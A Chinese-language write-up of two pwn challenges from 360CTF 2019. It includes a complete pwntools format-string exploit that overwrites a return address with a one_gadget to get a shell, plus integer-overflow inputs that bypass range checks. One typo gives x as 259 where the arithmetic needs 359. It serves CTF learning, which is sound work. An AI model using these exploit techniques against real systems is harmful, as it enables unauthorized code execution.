emmm忘記題目名稱了,一共兩個(gè)題就以Pwn1、Pwn2來記錄
我覺得題目質(zhì)量還是很好的,解題過程中學(xué)到了不少東西
Pwn1
保護(hù)全開
ssta@E4x:/media/psf/pwn/3ctf$ checksec 7631454338ff70b1a6b1262f5f36beac
[*] '/media/psf/pwn/3ctf/7631454338ff70b1a6b1262f5f36beac'
Arch: i386-32-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
在IDA中打開,程序的流程很簡單 沒有多余的函數(shù),其中N在data段值為3,也就是說我們最多只有三次利用的機(jī)會(huì)
int __cdecl main(int argc, const char **argv, const char **envp)
{
int i; // [esp+Ch] [ebp-14h]
char buf; // [esp+10h] [ebp-10h]
unsigned int v6; // [esp+14h] [ebp-Ch]
int *v7; // [esp+18h] [ebp-8h]
v7 = &argc;
v6 = __readgsdword(0x14u);
setbuf(stdout, 0);
setbuf(stdin, 0);
puts("welcome to 360CTF_2019");
for ( i = 0; i < N; ++i )
{
puts("1. Input");
puts("2. Exit");
read(0, &buf, 4u);
if ( atoi(&buf) != 1 )
{
if ( atoi(&buf) != 2 )
return 0;
break;
}
puts("It's time to input something");
read(0, &buff, 0x10u);
printf((const char *)&buff);
}
puts("Good luck to you!");
return 0;
}
因?yàn)殚_了Full RELRO,所以不能寫GOT表,一開始沒有注意到格式化字符沒有在棧中而是在bss段。對(duì)于格式化字符不在棧中的利用手法,我們可以在棧中找一條攻擊鏈,然后利用偏移來修改指針,具體可參考http://blog.eonew.cn/archives/1196#more-1196。還有一個(gè)問題就是,格式化字符并不能一次性寫入一個(gè)很大的值,要多次利用,而我們只有三次機(jī)會(huì)!所以在這里需要修改一下變量i或者N的值,這里我選擇修改i的值,將i的最高地址寫成0xff,這樣i就變成了很大的負(fù)數(shù),理論上我們可以無限次利用了!
利用思路(前三次):
- 利用格式化字符leak出libc、stack地址
- 修改攻擊鏈指向i的地址
- 修改i的值為負(fù)數(shù)
這時(shí)已經(jīng)可以無限次利用了,我們只需要修改跳板指針指向棧中的main函數(shù)返回地址,然后將返回地址修改成one_gadget地址或者system(需要布置下棧,再寫一個(gè)/bin/sh字符串地址作為參數(shù)傳進(jìn)去)
exp:
#!/usr/bin/python
from pwn import *
# context.log_level='debug'
p = process('7631454338ff70b1a6b1262f5f36beac')
libc = ELF('/lib/i386-linux-gnu/libc.so.6',checksec=False)
elf = ELF('./7631454338ff70b1a6b1262f5f36beac',checksec=False)
p.recvuntil('2. Exit\n')
p.sendline('1')
p.recvuntil("It's time to input something\n")
p.sendline(r'%15$p.%p.%6$p.')
libc_base = int(p.recvuntil('.',drop=True),16)-(0xf7e1b637-0xf7e03000)
log.success('libc_base: %s' % hex(libc_base))
system_addr = libc_base + libc.symbols['system']
log.success('system addr: %s' % hex(system_addr))
elf_base = int(p.recvuntil('.',drop=True),16)-(0x56557010-0x56555000)
log.success('elf_base: %s' % hex(elf_base))
atoi_addr = elf_base + elf.got['atoi']
one_gadget = libc_base + 0x3ac5e
log.success('one gadget: %s' % hex(one_gadget))
i_addr = int(p.recvuntil('.',drop=True),16)-0xc0
log.success('i addr: %s' % hex(i_addr) )
p.recvuntil('2. Exit\n')
p.sendline('1')
p.recvuntil("It's time to input something\n")
one_byte = (i_addr & 0xffff)
payload = '%' + str(one_byte+3) + 'd%6$hn'
# gdb.attach(p)
p.sendline(payload)
p.recvuntil('2. Exit\n')
p.sendline('1')
p.recvuntil("It's time to input something\n")
payload = '%255d%57$hn'
# gdb.attach(p)
p.sendline(payload)
ret_addr = i_addr+40
log.success('ret addr: %s' % hex(ret_addr))
p.recvuntil('2. Exit\n')
p.sendline('1')
p.recvuntil("It's time to input something\n")
one_byte = (ret_addr & 0xffff)
payload = '%' + str(one_byte) + 'd%6$hn'
# gdb.attach(p)
p.sendline(payload)
tmp = str(hex(one_gadget))
tmp1 = tmp[-2:]
tmp2 = tmp[-4:-2]
tmp3 = tmp[-6:-4]
# print 'tmp1:',tmp1,'tmp2:',tmp2,'tmp3:',tmp3
p.recvuntil('2. Exit\n')
p.sendline('1')
p.recvuntil("It's time to input something\n")
payload = '%'+str(int(tmp1,16))+'c%57$hhn'
# gdb.attach(p)
p.sendline(payload)
p.recvuntil('2. Exit\n')
p.sendline('1')
# gdb.attach(p)
p.recvuntil("It's time to input something\n")
one_byte = (ret_addr & 0xffff)
payload = '%' + str(one_byte+1) + 'd%6$hn'
p.sendline(payload)
p.recvuntil('2. Exit\n')
p.sendline('1')
p.recvuntil("It's time to input something\n")
payload = '%'+str(int(tmp2,16))+'c%57$hhn'
# gdb.attach(p)
p.sendline(payload)
p.recvuntil('2. Exit\n')
p.sendline('1')
p.recvuntil("It's time to input something\n")
one_byte = (ret_addr & 0xffff)
payload = '%' + str(one_byte+2) + 'd%6$hn'
p.sendline(payload)
p.recvuntil('2. Exit\n')
p.sendline('1')
p.recvuntil("It's time to input something\n")
payload = '%'+str(int(tmp3,16))+'c%57$hhn'
# gdb.attach(p)
p.sendline(payload)
p.recvuntil('2. Exit\n')
p.sendline('2')
"""
0x3ac5c execve("/bin/sh", esp+0x28, environ)
constraints:
esi is the GOT address of libc
[esp+0x28] == NULL
0x3ac5e execve("/bin/sh", esp+0x2c, environ)
constraints:
esi is the GOT address of libc
[esp+0x2c] == NULL
0x3ac62 execve("/bin/sh", esp+0x30, environ)
constraints:
esi is the GOT address of libc
[esp+0x30] == NULL
0x3ac69 execve("/bin/sh", esp+0x34, environ)
constraints:
esi is the GOT address of libc
[esp+0x34] == NULL
0x5fbc5 execl("/bin/sh", eax)
constraints:
esi is the GOT address of libc
eax == NULL
0x5fbc6 execl("/bin/sh", [esp])
constraints:
esi is the GOT address of libc
[esp] == NULL
"""
p.interactive()
參考了這位師傅的文章
Pwn2
考察整數(shù)溢出,只有兩個(gè)函數(shù)bypass1和bypass2。只要繞過了這兩個(gè)函數(shù)就會(huì)輸出flag。bypass1源碼??
signed __int64 bypass1()
{
int v1; // [rsp+8h] [rbp-38h]
int v2; // [rsp+Ch] [rbp-34h]
char buf; // [rsp+10h] [rbp-30h]
char s; // [rsp+20h] [rbp-20h]
unsigned __int64 v6; // [rsp+38h] [rbp-8h]
v6 = __readfsqword(0x28u);
memset(&s, 0, 0x10uLL);
puts("x: ");
read(0, &s, 0x10uLL);
puts("y: ");
read(0, &buf, 0x10uLL);
if ( strchr(&s, 45) || strchr(&buf, 45) ) // 檢驗(yàn)負(fù)號(hào)
return 0LL;
v1 = atoi(&s);
v2 = atoi(&buf);
if ( v1 > 359 || v2 > 359 || v1 - v2 != 360 )
return 0LL;
puts("level1 success!");
return 1LL;
}
可以看到,程序要求輸入兩個(gè)數(shù)x和y,限制了不能帶負(fù)號(hào)且任意一個(gè)值不能大于359,且兩者的差要等于360!
因?yàn)槌绦驅(qū)τ脩舻妮斎胪ㄟ^atoi函數(shù)處理,這時(shí)如果輸入一個(gè)很大數(shù)字就會(huì)發(fā)生溢出。如??所示,0xffffffff經(jīng)過atoi函數(shù)處理之后就會(huì)溢出成-1,我們只需要另x=259,y=4294967295來繞過他的check,兩個(gè)數(shù)都不大于359,且359-(-1)=360條件成立。
ss@E4x:/media/psf/pwn/3ctf$ cat test.c
#include <stdio.h>
#include <stdlib.h>
int main()
{
printf("%d\n",atoi("4294967295"));
return 0;
}
ss@E4x:/media/psf/pwn/3ctf$ gcc test.c && ./a.out
-1
bypass2函數(shù)??
_BOOL8 bypass2()
{
int v1; // [rsp+0h] [rbp-10h]
int v2; // [rsp+4h] [rbp-Ch]
unsigned __int64 v3; // [rsp+8h] [rbp-8h]
v3 = __readfsqword(0x28u);
v1 = 0;
v2 = 0;
puts("Please input x and y:");
__isoc99_scanf("%d %d", &v1, &v2);
return v1 > 1 && v2 > 360 && v1 * v2 == 360;
}
同樣要求輸入兩個(gè)值,限制了x>1,y>360并且他們的乘積要等于360。很明顯需要利用乘法溢出來繞過check,首先我們要輸入滿足前兩個(gè)條件的整數(shù),并且不能發(fā)生溢出,因?yàn)橐坏┮绯鼍筒粷M足其中的一個(gè)條件 這里我選擇的兩個(gè)數(shù)是4和1073741914,這兩個(gè)數(shù)都是正常的整數(shù),并且他們兩個(gè)乘積發(fā)生溢出后剛好是360
ss@E4x:/media/psf/pwn/3ctf$ cat test.c
#include <stdio.h>
#include <stdlib.h>
int main()
{
int a=4,b=1073741914;
printf("%d\n",a*b);
return 0;
}
ss@E4x:/media/psf/pwn/3ctf$ gcc test.c && ./a.out
360
至于兩個(gè)數(shù)怎么來的hhhhh
In [3]: (4294967295+361)/4
Out[3]: 1073741914